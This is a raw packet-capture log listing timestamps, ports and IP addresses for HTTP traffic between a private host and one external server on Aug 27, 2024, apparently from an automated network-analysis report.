Aug 27, 2024 20:12:00.756782055 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.756793976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.756804943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.756810904 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.756829023 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.756848097 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.757016897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.757056952 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.757417917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.757472038 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.757496119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.757507086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.757534027 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.757674932 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.757684946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.757695913 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.757721901 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.757735968 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.757879972 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.757890940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.757927895 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.758388042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.758439064 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.758459091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.758470058 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.758501053 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.758516073 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.758850098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.758860111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.758871078 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.758882046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.758896112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.758904934 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.758938074 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.759331942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.759375095 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.759382010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.759394884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.759419918 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.759447098 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.759577990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.759619951 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.759648085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.759659052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.759692907 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.849643946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.849714994 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.849730968 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.849844933 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.849877119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.849888086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.849898100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.849945068 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.850071907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.850115061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.850126028 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.850126028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.850138903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.850156069 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.850178957 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.850353956 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.850406885 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.850420952 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.850471973 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.850513935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.850524902 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.850543976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.850559950 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.850583076 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.850744963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.850755930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.850766897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.850776911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.850789070 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.850799084 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.850809097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.850827932 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.850838900 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.850840092 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.850873947 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.850883961 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.851243019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.851253986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.851294041 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.851361036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.851372957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.851413965 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.851511002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.851521015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.851538897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.851551056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.851558924 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.851562023 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.851588964 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.851602077 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.851955891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.851967096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.851975918 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.851982117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.851994991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.852004051 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.852008104 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.852020025 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.852027893 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.852065086 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.852595091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.852607012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.852617979 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.852643967 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.852674007 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.852889061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.852900028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.852910995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.852922916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.852935076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.852940083 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.852946997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.852957964 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.852957964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.852978945 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.852999926 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.853357077 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.853368044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.853384972 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.853398085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.853409052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.853414059 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.853423119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.853429079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.853441000 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.853629112 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.853817940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.853868961 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.853913069 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.853924990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.853935957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.853950024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.853961945 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.853967905 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.853974104 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.853998899 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.854026079 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.854422092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.854427099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.854432106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.854435921 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.854465961 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.854466915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.854485989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.854494095 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.854496956 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.854516983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.854521036 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.854542971 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.854564905 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.855007887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.855020046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.855031967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.855042934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.855057955 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.855063915 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.855068922 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.855094910 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.855122089 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.855598927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.855614901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.855624914 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.855637074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.855658054 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.855675936 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.855894089 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.855905056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.855915070 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.855925083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.855951071 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.855962038 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.936377048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.936460972 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.936465025 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.936491966 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.936505079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.936511040 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.936515093 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.936543941 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.936582088 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.936606884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.936621904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.936647892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.936651945 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.936670065 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.936685085 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.943876982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.943934917 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.943943024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.943973064 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.943989992 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.944013119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.944014072 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.944061041 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.944089890 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.944132090 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.944155931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.944168091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.944176912 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.944205046 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.944233894 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.944355011 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.944367886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.944377899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.944411039 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.944436073 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.944590092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.944602013 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.944613934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.944627047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.944637060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.944647074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.944648027 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.944658995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.944679976 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.944700003 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.945061922 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.945072889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.945133924 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.945225954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.945271015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.945276022 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.945280075 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.945280075 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.945317984 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.945631981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.945642948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.945652008 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.945662975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.945674896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.945686102 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.945691109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.945710897 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.945715904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.945724964 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.945729017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.945740938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.945751905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.945758104 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.945763111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.945790052 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.945806026 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.946310043 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.946321011 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.946331024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.946342945 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.946353912 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.946366072 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.946366072 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.946369886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.946394920 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.946412086 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.946713924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.946723938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.946733952 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.946746111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.946755886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.946765900 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.946768999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.946780920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.946788073 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.946809053 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.946826935 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.947160006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.947165012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.947176933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.947189093 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.947206974 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.947235107 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.947254896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.947266102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.947278023 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.947283983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.947295904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.947302103 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.947309017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.947319984 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.947320938 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.947330952 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.947341919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.947343111 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.947348118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.947362900 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.947393894 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.948116064 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948133945 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948144913 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948157072 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948167086 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.948191881 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.948203087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948205948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948210955 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948221922 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948221922 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.948232889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948239088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948251963 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.948308945 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.948826075 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948836088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948848963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948875904 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.948879004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948890924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948899984 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.948900938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948911905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948918104 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948929071 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948935986 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.948935986 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.948940039 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948951006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948956966 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.948962927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948972940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.948982000 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.949006081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.949007988 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.949053049 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.949824095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.949835062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.949852943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.949883938 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.949886084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.949898005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.949908018 CEST	80	49710	147.45.47.253	192.168.2.6
